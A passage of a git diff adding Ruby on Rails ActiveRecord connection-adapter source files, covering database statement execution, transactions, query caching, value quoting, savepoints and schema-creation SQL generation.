+
+      # Converts an arel AST to SQL
+      def to_sql(arel_or_sql_string, binds = [])
+        if arel_or_sql_string.respond_to?(:ast)
+          unless binds.empty?
+            raise "Passing bind parameters with an arel AST is forbidden. " \
+              "The values must be stored on the AST directly"
+          end
+          sql, binds = visitor.accept(arel_or_sql_string.ast, collector).value
+          [sql.freeze, binds || []]
+        else
+          [arel_or_sql_string.dup.freeze, binds]
+        end
+      end
+
+      # This is used in the StatementCache object. It returns an object that
+      # can be used to query the database repeatedly.
+      def cacheable_query(klass, arel) # :nodoc:
+        if prepared_statements
+          sql, binds = visitor.accept(arel.ast, collector).value
+          query = klass.query(sql)
+        else
+          collector = PartialQueryCollector.new
+          parts, binds = visitor.accept(arel.ast, collector).value
+          query = klass.partial_query(parts)
+        end
+        [query, binds]
+      end
+
+      # Returns an ActiveRecord::Result instance.
+      def select_all(arel, name = nil, binds = [], preparable: nil)
+        arel = arel_from_relation(arel)
+        sql, binds = to_sql(arel, binds)
+        if !prepared_statements || (arel.is_a?(String) && preparable.nil?)
+          preparable = false
+        else
+          preparable = visitor.preparable
+        end
+        if prepared_statements && preparable
+          select_prepared(sql, name, binds)
+        else
+          select(sql, name, binds)
+        end
+      end
+
+      # Returns a record hash with the column names as keys and column values
+      # as values.
+      def select_one(arel, name = nil, binds = [])
+        select_all(arel, name, binds).first
+      end
+
+      # Returns a single value from a record
+      def select_value(arel, name = nil, binds = [])
+        single_value_from_rows(select_rows(arel, name, binds))
+      end
+
+      # Returns an array of the values of the first column in a select:
+      #   select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
+      def select_values(arel, name = nil, binds = [])
+        select_rows(arel, name, binds).map(&:first)
+      end
+
+      # Returns an array of arrays containing the field values.
+      # Order is the same as that returned by +columns+.
+      def select_rows(arel, name = nil, binds = [])
+        select_all(arel, name, binds).rows
+      end
+
+      def query_value(sql, name = nil) # :nodoc:
+        single_value_from_rows(query(sql, name))
+      end
+
+      def query_values(sql, name = nil) # :nodoc:
+        query(sql, name).map(&:first)
+      end
+
+      def query(sql, name = nil) # :nodoc:
+        exec_query(sql, name).rows
+      end
+
+      # Executes the SQL statement in the context of this connection and returns
+      # the raw result from the connection adapter.
+      # Note: depending on your database connector, the result returned by this
+      # method may be manually memory managed. Consider using the exec_query
+      # wrapper instead.
+      def execute(sql, name = nil)
+        raise NotImplementedError
+      end
+
+      # Executes +sql+ statement in the context of this connection using
+      # +binds+ as the bind substitutes. +name+ is logged along with
+      # the executed +sql+ statement.
+      def exec_query(sql, name = "SQL", binds = [], prepare: false)
+        raise NotImplementedError
+      end
+
+      # Executes insert +sql+ statement in the context of this connection using
+      # +binds+ as the bind substitutes. +name+ is logged along with
+      # the executed +sql+ statement.
+      def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil)
+        sql, binds = sql_for_insert(sql, pk, nil, sequence_name, binds)
+        exec_query(sql, name, binds)
+      end
+
+      # Executes delete +sql+ statement in the context of this connection using
+      # +binds+ as the bind substitutes. +name+ is logged along with
+      # the executed +sql+ statement.
+      def exec_delete(sql, name = nil, binds = [])
+        exec_query(sql, name, binds)
+      end
+
+      # Executes the truncate statement.
+      def truncate(table_name, name = nil)
+        raise NotImplementedError
+      end
+
+      # Executes update +sql+ statement in the context of this connection using
+      # +binds+ as the bind substitutes. +name+ is logged along with
+      # the executed +sql+ statement.
+      def exec_update(sql, name = nil, binds = [])
+        exec_query(sql, name, binds)
+      end
+
+      # Executes an INSERT query and returns the new record's ID
+      #
+      # +id_value+ will be returned unless the value is +nil+, in
+      # which case the database will attempt to calculate the last inserted
+      # id and return that value.
+      #
+      # If the next id was calculated in advance (as in Oracle), it should be
+      # passed in as +id_value+.
+      def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+        sql, binds = to_sql(arel)
+        value = exec_insert(sql, name, binds, pk, sequence_name)
+        id_value || last_inserted_id(value)
+      end
+      alias create insert
+
+      # Executes the update statement and returns the number of rows affected.
+      def update(arel, name = nil)
+        sql, binds = to_sql(arel)
+        exec_update(sql, name, binds)
+      end
+
+      # Executes the delete statement and returns the number of rows affected.
+      def delete(arel, name = nil)
+        sql, binds = to_sql(arel)
+        exec_delete(sql, name, binds)
+      end
+
+      # Returns +true+ when the connection adapter supports prepared statement
+      # caching, otherwise returns +false+
+      def supports_statement_cache? # :nodoc:
+        true
+      end
+      deprecate :supports_statement_cache?
+
+      # Runs the given block in a database transaction, and returns the result
+      # of the block.
+      #
+      # == Nested transactions support
+      #
+      # Most databases don't support true nested transactions. At the time of
+      # writing, the only database that supports true nested transactions that
+      # we're aware of, is MS-SQL.
+      #
+      # In order to get around this problem, #transaction will emulate the effect
+      # of nested transactions, by using savepoints:
+      # http://dev.mysql.com/doc/refman/5.7/en/savepoint.html
+      # Savepoints are supported by MySQL and PostgreSQL. SQLite3 version >= '3.6.8'
+      # supports savepoints.
+      #
+      # It is safe to call this method if a database transaction is already open,
+      # i.e. if #transaction is called within another #transaction block. In case
+      # of a nested call, #transaction will behave as follows:
+      #
+      # - The block will be run without doing anything. All database statements
+      #   that happen within the block are effectively appended to the already
+      #   open database transaction.
+      # - However, if +:requires_new+ is set, the block will be wrapped in a
+      #   database savepoint acting as a sub-transaction.
+      #
+      # === Caveats
+      #
+      # MySQL doesn't support DDL transactions. If you perform a DDL operation,
+      # then any created savepoints will be automatically released. For example,
+      # if you've created a savepoint, then you execute a CREATE TABLE statement,
+      # then the savepoint that was created will be automatically released.
+      #
+      # This means that, on MySQL, you shouldn't execute DDL operations inside
+      # a #transaction call that you know might create a savepoint. Otherwise,
+      # #transaction will raise exceptions when it tries to release the
+      # already-automatically-released savepoints:
+      #
+      #   Model.connection.transaction do  # BEGIN
+      #     Model.connection.transaction(requires_new: true) do  # CREATE SAVEPOINT active_record_1
+      #       Model.connection.create_table(...)
+      #       # active_record_1 now automatically released
+      #     end  # RELEASE SAVEPOINT active_record_1  <--- BOOM! database error!
+      #   end
+      #
+      # == Transaction isolation
+      #
+      # If your database supports setting the isolation level for a transaction, you can set
+      # it like so:
+      #
+      #   Post.transaction(isolation: :serializable) do
+      #     # ...
+      #   end
+      #
+      # Valid isolation levels are:
+      #
+      # * <tt>:read_uncommitted</tt>
+      # * <tt>:read_committed</tt>
+      # * <tt>:repeatable_read</tt>
+      # * <tt>:serializable</tt>
+      #
+      # You should consult the documentation for your database to understand the
+      # semantics of these different levels:
+      #
+      # * https://www.postgresql.org/docs/current/static/transaction-iso.html
+      # * https://dev.mysql.com/doc/refman/5.7/en/set-transaction.html
+      #
+      # An ActiveRecord::TransactionIsolationError will be raised if:
+      #
+      # * The adapter does not support setting the isolation level
+      # * You are joining an existing open transaction
+      # * You are creating a nested (savepoint) transaction
+      #
+      # The mysql2 and postgresql adapters support setting the transaction
+      # isolation level.
+      def transaction(requires_new: nil, isolation: nil, joinable: true)
+        if !requires_new && current_transaction.joinable?
+          if isolation
+            raise ActiveRecord::TransactionIsolationError, "cannot set isolation when joining a transaction"
+          end
+          yield
+        else
+          transaction_manager.within_new_transaction(isolation: isolation, joinable: joinable) { yield }
+        end
+      rescue ActiveRecord::Rollback
+        # rollbacks are silently swallowed
+      end
+
+      attr_reader :transaction_manager #:nodoc:
+
+      delegate :within_new_transaction, :open_transactions, :current_transaction, :begin_transaction, :commit_transaction, :rollback_transaction, to: :transaction_manager
+
+      def transaction_open?
+        current_transaction.open?
+      end
+
+      def reset_transaction #:nodoc:
+        @transaction_manager = ConnectionAdapters::TransactionManager.new(self)
+      end
+
+      # Register a record with the current transaction so that its after_commit and after_rollback callbacks
+      # can be called.
+      def add_transaction_record(record)
+        current_transaction.add_record(record)
+      end
+
+      def transaction_state
+        current_transaction.state
+      end
+
+      # Begins the transaction (and turns off auto-committing).
+      def begin_db_transaction()    end
+
+      def transaction_isolation_levels
+        {
+          read_uncommitted: "READ UNCOMMITTED",
+          read_committed:   "READ COMMITTED",
+          repeatable_read:  "REPEATABLE READ",
+          serializable:     "SERIALIZABLE"
+        }
+      end
+
+      # Begins the transaction with the isolation level set. Raises an error by
+      # default; adapters that support setting the isolation level should implement
+      # this method.
+      def begin_isolated_db_transaction(isolation)
+        raise ActiveRecord::TransactionIsolationError, "adapter does not support setting transaction isolation"
+      end
+
+      # Commits the transaction (and turns on auto-committing).
+      def commit_db_transaction()   end
+
+      # Rolls back the transaction (and turns on auto-committing). Must be
+      # done if the transaction block raises an exception or returns false.
+      def rollback_db_transaction
+        exec_rollback_db_transaction
+      end
+
+      def exec_rollback_db_transaction() end #:nodoc:
+
+      def rollback_to_savepoint(name = nil)
+        exec_rollback_to_savepoint(name)
+      end
+
+      def default_sequence_name(table, column)
+        nil
+      end
+
+      # Set the sequence to the max value of the table's column.
+      def reset_sequence!(table, column, sequence = nil)
+        # Do nothing by default. Implement for PostgreSQL, Oracle, ...
+      end
+
+      # Inserts the given fixture into the table. Overridden in adapters that require
+      # something beyond a simple insert (eg. Oracle).
+      # Most of adapters should implement `insert_fixtures` that leverages bulk SQL insert.
+      # We keep this method to provide fallback
+      # for databases like sqlite that do not support bulk inserts.
+      def insert_fixture(fixture, table_name)
+        fixture = fixture.stringify_keys
+
+        columns = schema_cache.columns_hash(table_name)
+        binds = fixture.map do |name, value|
+          if column = columns[name]
+            type = lookup_cast_type_from_column(column)
+            Relation::QueryAttribute.new(name, value, type)
+          else
+            raise Fixture::FixtureError, %(table "#{table_name}" has no column named #{name.inspect}.)
+          end
+        end
+
+        table = Arel::Table.new(table_name)
+
+        values = binds.map do |bind|
+          value = with_yaml_fallback(bind.value_for_database)
+          [table[bind.name], value]
+        end
+
+        manager = Arel::InsertManager.new
+        manager.into(table)
+        manager.insert(values)
+        execute manager.to_sql, "Fixture Insert"
+      end
+
+      # Inserts a set of fixtures into the table. Overridden in adapters that require
+      # something beyond a simple insert (eg. Oracle).
+      def insert_fixtures(fixtures, table_name)
+        return if fixtures.empty?
+
+        columns = schema_cache.columns_hash(table_name)
+
+        values = fixtures.map do |fixture|
+          fixture = fixture.stringify_keys
+
+          unknown_columns = fixture.keys - columns.keys
+          if unknown_columns.any?
+            raise Fixture::FixtureError, %(table "#{table_name}" has no columns named #{unknown_columns.map(&:inspect).join(', ')}.)
+          end
+
+          columns.map do |name, column|
+            if fixture.key?(name)
+              type = lookup_cast_type_from_column(column)
+              bind = Relation::QueryAttribute.new(name, fixture[name], type)
+              with_yaml_fallback(bind.value_for_database)
+            else
+              Arel.sql("DEFAULT")
+            end
+          end
+        end
+
+        table = Arel::Table.new(table_name)
+        manager = Arel::InsertManager.new
+        manager.into(table)
+        columns.each_key { |column| manager.columns << table[column] }
+        manager.values = manager.create_values_list(values)
+        execute manager.to_sql, "Fixtures Insert"
+      end
+
+      def empty_insert_statement_value
+        "DEFAULT VALUES"
+      end
+
+      # Sanitizes the given LIMIT parameter in order to prevent SQL injection.
+      #
+      # The +limit+ may be anything that can evaluate to a string via #to_s. It
+      # should look like an integer, or an Arel SQL literal.
+      #
+      # Returns Integer and Arel::Nodes::SqlLiteral limits as is.
+      def sanitize_limit(limit)
+        if limit.is_a?(Integer) || limit.is_a?(Arel::Nodes::SqlLiteral)
+          limit
+        else
+          Integer(limit)
+        end
+      end
+
+      # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work
+      # on MySQL (even when aliasing the tables), but MySQL allows using JOIN directly in
+      # an UPDATE statement, so in the MySQL adapters we redefine this to do that.
+      def join_to_update(update, select, key) # :nodoc:
+        subselect = subquery_for(key, select)
+
+        update.where key.in(subselect)
+      end
+      alias join_to_delete join_to_update
+
+      private
+
+        # Returns a subquery for the given key using the join information.
+        def subquery_for(key, select)
+          subselect = select.clone
+          subselect.projections = [key]
+          subselect
+        end
+
+        # Returns an ActiveRecord::Result instance.
+        def select(sql, name = nil, binds = [])
+          exec_query(sql, name, binds, prepare: false)
+        end
+
+        def select_prepared(sql, name = nil, binds = [])
+          exec_query(sql, name, binds, prepare: true)
+        end
+
+        def sql_for_insert(sql, pk, id_value, sequence_name, binds)
+          [sql, binds]
+        end
+
+        def last_inserted_id(result)
+          single_value_from_rows(result.rows)
+        end
+
+        def single_value_from_rows(rows)
+          row = rows.first
+          row && row.first
+        end
+
+        def arel_from_relation(relation)
+          if relation.is_a?(Relation)
+            relation.arel
+          else
+            relation
+          end
+        end
+
+        # Fixture value is quoted by Arel, however scalar values
+        # are not quotable. In this case we want to convert
+        # the column value to YAML.
+        def with_yaml_fallback(value)
+          if value.is_a?(Hash) || value.is_a?(Array)
+            YAML.dump(value)
+          else
+            value
+          end
+        end
+
+        class PartialQueryCollector
+          def initialize
+            @parts = []
+            @binds = []
+          end
+
+          def << str
+            @parts << str
+            self
+          end
+
+          def add_bind obj
+            @binds << obj
+            @parts << Arel::Nodes::BindParam.new(1)
+            self
+          end
+
+          def value
+            [@parts, @binds]
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
new file mode 100644
index 0000000000..ecf5201d12
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -0,0 +1,138 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module QueryCache
+      class << self
+        def included(base) #:nodoc:
+          dirties_query_cache base, :insert, :update, :delete, :rollback_to_savepoint, :rollback_db_transaction
+
+          base.set_callback :checkout, :after, :configure_query_cache!
+          base.set_callback :checkin, :after, :disable_query_cache!
+        end
+
+        def dirties_query_cache(base, *method_names)
+          method_names.each do |method_name|
+            base.class_eval <<-end_code, __FILE__, __LINE__ + 1
+              def #{method_name}(*)
+                clear_query_cache if @query_cache_enabled
+                super
+              end
+            end_code
+          end
+        end
+      end
+
+      module ConnectionPoolConfiguration
+        def initialize(*)
+          super
+          @query_cache_enabled = Concurrent::Map.new { false }
+        end
+
+        def enable_query_cache!
+          @query_cache_enabled[connection_cache_key(Thread.current)] = true
+          connection.enable_query_cache! if active_connection?
+        end
+
+        def disable_query_cache!
+          @query_cache_enabled.delete connection_cache_key(Thread.current)
+          connection.disable_query_cache! if active_connection?
+        end
+
+        def query_cache_enabled
+          @query_cache_enabled[connection_cache_key(Thread.current)]
+        end
+      end
+
+      attr_reader :query_cache, :query_cache_enabled
+
+      def initialize(*)
+        super
+        @query_cache         = Hash.new { |h, sql| h[sql] = {} }
+        @query_cache_enabled = false
+      end
+
+      # Enable the query cache within the block.
+      def cache
+        old, @query_cache_enabled = @query_cache_enabled, true
+        yield
+      ensure
+        @query_cache_enabled = old
+        clear_query_cache unless @query_cache_enabled
+      end
+
+      def enable_query_cache!
+        @query_cache_enabled = true
+      end
+
+      def disable_query_cache!
+        @query_cache_enabled = false
+        clear_query_cache
+      end
+
+      # Disable the query cache within the block.
+      def uncached
+        old, @query_cache_enabled = @query_cache_enabled, false
+        yield
+      ensure
+        @query_cache_enabled = old
+      end
+
+      # Clears the query cache.
+      #
+      # One reason you may wish to call this method explicitly is between queries
+      # that ask the database to randomize results. Otherwise the cache would see
+      # the same SQL query and repeatedly return the same result each time, silently
+      # undermining the randomness you were expecting.
+      def clear_query_cache
+        @lock.synchronize do
+          @query_cache.clear
+        end
+      end
+
+      def select_all(arel, name = nil, binds = [], preparable: nil)
+        if @query_cache_enabled && !locked?(arel)
+          arel = arel_from_relation(arel)
+          sql, binds = to_sql(arel, binds)
+          cache_sql(sql, name, binds) { super(sql, name, binds, preparable: preparable) }
+        else
+          super
+        end
+      end
+
+      private
+
+        def cache_sql(sql, name, binds)
+          @lock.synchronize do
+            result =
+              if @query_cache[sql].key?(binds)
+                ActiveSupport::Notifications.instrument(
+                  "sql.active_record",
+                  sql: sql,
+                  binds: binds,
+                  type_casted_binds: -> { type_casted_binds(binds) },
+                  name: name,
+                  connection_id: object_id,
+                  cached: true,
+                )
+                @query_cache[sql][binds]
+              else
+                @query_cache[sql][binds] = yield
+              end
+            result.dup
+          end
+        end
+
+        # If arel is locked this is a SELECT ... FOR UPDATE or somesuch. Such
+        # queries should not be cached.
+        def locked?(arel)
+          arel = arel.arel if arel.is_a?(Relation)
+          arel.respond_to?(:locked) && arel.locked
+        end
+
+        def configure_query_cache!
+          enable_query_cache! if pool.query_cache_enabled
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
new file mode 100644
index 0000000000..7b83bc319c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -0,0 +1,216 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/big_decimal/conversions"
+require "active_support/multibyte/chars"
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module Quoting
+      # Quotes the column value to help prevent
+      # {SQL injection attacks}[http://en.wikipedia.org/wiki/SQL_injection].
+      def quote(value)
+        value = id_value_for_database(value) if value.is_a?(Base)
+
+        if value.respond_to?(:quoted_id)
+          at = value.method(:quoted_id).source_location
+          at &&= " at %s:%d" % at
+
+          owner = value.method(:quoted_id).owner.to_s
+          klass = value.class.to_s
+          klass += "(#{owner})" unless owner == klass
+
+          ActiveSupport::Deprecation.warn \
+            "Defining #quoted_id is deprecated and will be ignored in Rails 5.2. (defined on #{klass}#{at})"
+          return value.quoted_id
+        end
+
+        if value.respond_to?(:value_for_database)
+          value = value.value_for_database
+        end
+
+        _quote(value)
+      end
+
+      # Cast a +value+ to a type that the database understands. For example,
+      # SQLite does not understand dates, so this method will convert a Date
+      # to a String.
+      def type_cast(value, column = nil)
+        value = id_value_for_database(value) if value.is_a?(Base)
+
+        if value.respond_to?(:quoted_id) && value.respond_to?(:id)
+          return value.id
+        end
+
+        if column
+          value = type_cast_from_column(column, value)
+        end
+
+        _type_cast(value)
+      rescue TypeError
+        to_type = column ? " to #{column.type}" : ""
+        raise TypeError, "can't cast #{value.class}#{to_type}"
+      end
+
+      # If you are having to call this function, you are likely doing something
+      # wrong. The column does not have sufficient type information if the user
+      # provided a custom type on the class level either explicitly (via
+      # Attributes::ClassMethods#attribute) or implicitly (via
+      # AttributeMethods::Serialization::ClassMethods#serialize, +time_zone_aware_attributes+).
+      # In almost all cases, the sql type should only be used to change quoting behavior, when the primitive to
+      # represent the type doesn't sufficiently reflect the differences
+      # (varchar vs binary) for example. The type used to get this primitive
+      # should have been provided before reaching the connection adapter.
+      def type_cast_from_column(column, value) # :nodoc:
+        if column
+          type = lookup_cast_type_from_column(column)
+          type.serialize(value)
+        else
+          value
+        end
+      end
+
+      # See docs for #type_cast_from_column
+      def lookup_cast_type_from_column(column) # :nodoc:
+        lookup_cast_type(column.sql_type)
+      end
+
+      # Quotes a string, escaping any ' (single quote) and \ (backslash)
+      # characters.
+      def quote_string(s)
+        s.gsub('\\'.freeze, '\&\&'.freeze).gsub("'".freeze, "''".freeze) # ' (for ruby-mode)
+      end
+
+      # Quotes the column name. Defaults to no quoting.
+      def quote_column_name(column_name)
+        column_name.to_s
+      end
+
+      # Quotes the table name. Defaults to column name quoting.
+      def quote_table_name(table_name)
+        quote_column_name(table_name)
+      end
+
+      # Override to return the quoted table name for assignment. Defaults to
+      # table quoting.
+      #
+      # This works for mysql2 where table.column can be used to
+      # resolve ambiguity.
+      #
+      # We override this in the sqlite3 and postgresql adapters to use only
+      # the column name (as per syntax requirements).
+      def quote_table_name_for_assignment(table, attr)
+        quote_table_name("#{table}.#{attr}")
+      end
+
+      def quote_default_expression(value, column) # :nodoc:
+        if value.is_a?(Proc)
+          value.call
+        else
+          value = lookup_cast_type(column.sql_type).serialize(value)
+          quote(value)
+        end
+      end
+
+      def quoted_true
+        "TRUE".freeze
+      end
+
+      def unquoted_true
+        true
+      end
+
+      def quoted_false
+        "FALSE".freeze
+      end
+
+      def unquoted_false
+        false
+      end
+
+      # Quote date/time values for use in SQL input. Includes microseconds
+      # if the value is a Time responding to usec.
+      def quoted_date(value)
+        if value.acts_like?(:time)
+          zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal
+
+          if value.respond_to?(zone_conversion_method)
+            value = value.send(zone_conversion_method)
+          end
+        end
+
+        result = value.to_s(:db)
+        if value.respond_to?(:usec) && value.usec > 0
+          "#{result}.#{sprintf("%06d", value.usec)}"
+        else
+          result
+        end
+      end
+
+      def quoted_time(value) # :nodoc:
+        quoted_date(value).sub(/\A2000-01-01 /, "")
+      end
+
+      def quoted_binary(value) # :nodoc:
+        "'#{quote_string(value.to_s)}'"
+      end
+
+      def type_casted_binds(binds) # :nodoc:
+        if binds.first.is_a?(Array)
+          binds.map { |column, value| type_cast(value, column) }
+        else
+          binds.map { |attr| type_cast(attr.value_for_database) }
+        end
+      end
+
+      private
+        def lookup_cast_type(sql_type)
+          type_map.lookup(sql_type)
+        end
+
+        def id_value_for_database(value)
+          if primary_key = value.class.primary_key
+            value.instance_variable_get(:@attributes)[primary_key].value_for_database
+          end
+        end
+
+        def types_which_need_no_typecasting
+          [nil, Numeric, String]
+        end
+
+        def _quote(value)
+          case value
+          when String, ActiveSupport::Multibyte::Chars
+            "'#{quote_string(value.to_s)}'"
+          when true       then quoted_true
+          when false      then quoted_false
+          when nil        then "NULL"
+          # BigDecimals need to be put in a non-normalized form and quoted.
+          when BigDecimal then value.to_s("F")
+          when Numeric, ActiveSupport::Duration then value.to_s
+          when Type::Binary::Data then quoted_binary(value)
+          when Type::Time::Value then "'#{quoted_time(value)}'"
+          when Date, Time then "'#{quoted_date(value)}'"
+          when Symbol     then "'#{quote_string(value.to_s)}'"
+          when Class      then "'#{value}'"
+          else raise TypeError, "can't quote #{value.class.name}"
+          end
+        end
+
+        def _type_cast(value)
+          case value
+          when Symbol, ActiveSupport::Multibyte::Chars, Type::Binary::Data
+            value.to_s
+          when true       then unquoted_true
+          when false      then unquoted_false
+          # BigDecimals need to be put in a non-normalized form and quoted.
+          when BigDecimal then value.to_s("F")
+          when Type::Time::Value then quoted_time(value)
+          when Date, Time then quoted_date(value)
+          when *types_which_need_no_typecasting
+            value
+          else raise TypeError
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
new file mode 100644
index 0000000000..52a796b926
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module Savepoints
+      def current_savepoint_name
+        current_transaction.savepoint_name
+      end
+
+      def create_savepoint(name = current_savepoint_name)
+        execute("SAVEPOINT #{name}")
+      end
+
+      def exec_rollback_to_savepoint(name = current_savepoint_name)
+        execute("ROLLBACK TO SAVEPOINT #{name}")
+      end
+
+      def release_savepoint(name = current_savepoint_name)
+        execute("RELEASE SAVEPOINT #{name}")
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
new file mode 100644
index 0000000000..8bf3879a4c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/strip"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class AbstractAdapter
+      class SchemaCreation # :nodoc:
+        def initialize(conn)
+          @conn = conn
+          @cache = {}
+        end
+
+        def accept(o)
+          m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
+          send m, o
+        end
+
+        delegate :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql,
+          :options_include_default?, :supports_indexes_in_create?, :supports_foreign_keys_in_create?, :foreign_key_options, to: :@conn
+        private :quote_column_name, :quote_table_name, :quote_default_expression, :type_to_sql,
+          :options_include_default?, :supports_indexes_in_create?, :supports_foreign_keys_in_create?, :foreign_key_options
+
+        private
+
+          def visit_AlterTable(o)
+            sql = "ALTER TABLE #{quote_table_name(o.name)} ".dup
+            sql << o.adds.map { |col| accept col }.join(" ")
+            sql << o.foreign_key_adds.map { |fk| visit_AddForeignKey fk }.join(" ")
+            sql << o.foreign_key_drops.map { |fk| visit_DropForeignKey fk }.join(" ")
+          end
+
+          def visit_ColumnDefinition(o)
+            o.sql_type = type_to_sql(o.type, o.options)
+            column_sql = "#{quote_column_name(o.name)} #{o.sql_type}".dup
+            add_column_options!(column_sql, column_options(o)) unless o.type == :primary_key
+            column_sql
+          end
+
+          def visit_AddColumnDefinition(o)
+            "ADD #{accept(o.column)}".dup
+          end
+
+          def visit_TableDefinition(o)
+            create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE #{quote_table_name(o.name)} ".dup
+
+            statements = o.columns.map { |c| accept c }
+            statements << accept(o.primary_keys) if o.primary_keys
+
+            if supports_indexes_in_create?
+              statements.concat(o.indexes.map { |column_name, options| index_in_create(o.name, column_name, options) })
+            end
+
+            if supports_foreign_keys_in_create?
+              statements.concat(o.foreign_keys.map { |to_table, options| foreign_key_in_create(o.name, to_table, options) })
+            end
+
+            create_sql << "(#{statements.join(', ')})" if statements.present?
+            add_table_options!(create_sql, table_options(o))
+            create_sql << " AS #{to_sql(o.as)}" if o.as
+            create_sql
+          end
+
+          def visit_PrimaryKeyDefinition(o)
+            "PRIMARY KEY (#{o.name.join(', ')})"
+          end
+
+          def visit_ForeignKeyDefinition(o)
+            sql = <<-SQL.strip_heredoc
+              CONSTRAINT #{quote_column_name(o.name)}
+              FOREIGN KEY (#{quote_column_name(o.column)})
+                REFERENCES #{quote_table_name(o.to_table)} (#{quote_column_name(o.primary_key)})
+            SQL
+            sql << " #{action_sql('DELETE', o.on_delete)}" if o.on_delete
+            sql << " #{action_sql('UPDATE', o.on_update)}" if o.on_update
+            sql
+          end
+
+          def visit_AddForeignKey(o)
+            "ADD #{accept(o)}"
+          end
+
+          def visit_DropForeignKey(name)
+            "DROP CONSTRAINT #{quote_column_name(name)}"
+          end
+
+          def table_options(o)
+            table_options = {}
+            table_options[:comment] = o.comment
+            table_options[:options] = o.options
+            table_options
+          end
+
+          def add_table_options!(create_sql, options)
+            if options_sql = options[:options]
+              create_sql << " #{options_sql}"
+            end
+          end
+
+          def column_options(o)
+            o.options.merge(column: o)
+          end
+
+          def add_column_options!(sql, options)
+            sql << " DEFAULT #{quote_default_expression(options[:default], options[:column])}" if options_include_default?(options)
+            # must explicitly check for :null to allow change_column to work on migrations
+            if options[:null] == false
+              sql << " NOT NULL"
+            end
+            if options[:auto_increment] == true
+              sql << " AUTO_INCREMENT"
+            end
+            if options[:primary_key] == true
+              sql << " PRIMARY KEY"
+            end
+            sql
+          end
+
+          def to_sql(sql)
+            sql = sql.to_sql if sql.respond_to?(:to_sql)
+            sql
+          end
+
+          def foreign_key_in_create(from_table, to_table, options)
+            options = foreign_key_options(from_table, to_table, options)
+            accept ForeignKeyDefinition.new(from_table, to_table, options)
+          end
+
+          def action_sql(action, dependency)
+            case dependency
+            when :nullify then "ON #{action} SET NULL"
+            when :cascade  then "ON #{action} CASCADE"
+            when :restrict then "ON #{action} RESTRICT"
+            else
+              raise ArgumentError, <<-MSG.strip_heredoc
+                '#{dependency}' is not supported for :on_update or :on_delete.
+                Supported values are: :nullify, :cascade, :restrict
+              MSG
+            end
+          end
+      end
+    end
+    SchemaCreation = AbstractAdapter::SchemaCreation # :nodoc:
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
new file mode 100644
index 0000000000..3b2c51ef94
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -0,0 +1,654 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters #:nodoc:
+    # Abstract representation of an index definition on a table. Instances of
+    # this type are typically created and returned by methods in database
+    # adapters. e.g. ActiveRecord::ConnectionAdapters::MySQL::SchemaStatements#indexes
+    class IndexDefinition # :nodoc:
+      attr_reader :table, :name, :unique, :columns, :lengths, :orders, :where, :type, :using, :comment
+
+      def initialize(
+        table, name,
+        unique = false,
+        columns = [],
+        lengths: {},
+        orders: {},
+        where: nil,
+        type: nil,
+        using: nil,
+        comment: nil
+      )
+        @table = table
+        @name = name
+        @unique = unique
+        @columns = columns
+        @lengths = lengths
+        @orders = orders
+        @where = where
+        @type = type
+        @using = using
+        @comment = comment
+      end
+    end
+
+    # Abstract representation of a column definition. Instances of this type
+    # are typically created by methods in TableDefinition, and added to the
+    # +columns+ attribute of said TableDefinition object, in order to be used
+    # for generating a number of table creation or table changing SQL statements.
+    ColumnDefinition = Struct.new(:name, :type, :options, :sql_type) do # :nodoc:
+      def primary_key?
+        options[:primary_key]
+      end
+
+      [:limit, :precision, :scale, :default, :null, :collation, :comment].each do |option_name|
+        module_eval <<-CODE, __FILE__, __LINE__ + 1
+          def #{option_name}
+            options[:#{option_name}]
+          end
+
+          def #{option_name}=(value)
+            options[:#{option_name}] = value
+          end
+        CODE
+      end
+    end
+
+    AddColumnDefinition = Struct.new(:column) # :nodoc:
+
+    ChangeColumnDefinition = Struct.new(:column, :name) #:nodoc:
+
+    PrimaryKeyDefinition = Struct.new(:name) # :nodoc:
+
+    ForeignKeyDefinition = Struct.new(:from_table, :to_table, :options) do #:nodoc:
+      def name
+        options[:name]
+      end
+
+      def column
+        options[:column]
+      end
+
+      def primary_key
+        options[:primary_key] || default_primary_key
+      end
+
+      def on_delete
+        options[:on_delete]
+      end
+
+      def on_update
+        options[:on_update]
+      end
+
+      def custom_primary_key?
+        options[:primary_key] != default_primary_key
+      end
+
+      def defined_for?(to_table_ord = nil, to_table: nil, **options)
